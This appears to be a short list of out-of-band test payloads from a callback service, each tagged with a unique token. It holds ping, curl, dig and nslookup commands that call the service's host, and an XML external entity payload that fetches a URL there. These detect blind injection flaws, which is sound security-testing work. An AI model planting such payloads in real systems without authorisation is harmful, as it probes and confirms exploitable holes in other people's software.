$ ping -c1 -p 0007769f6940c18cb7013329f86a3a00 unhack.ca
 

$ curl http://unhack.ca/p/07769f6940c18cb7013329f86a3a
 

$ dig 07769f6940c18cb7013329f86a3a @unhack.ca
 

$ dig 07769f6940c18cb7013329f86a3a.ns.unhack.ca
 

C:\> nslookup 07769f6940c18cb7013329f86a3a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/07769f6940c18cb7013329f86a3a">]>
    <foo>&xxe;</foo>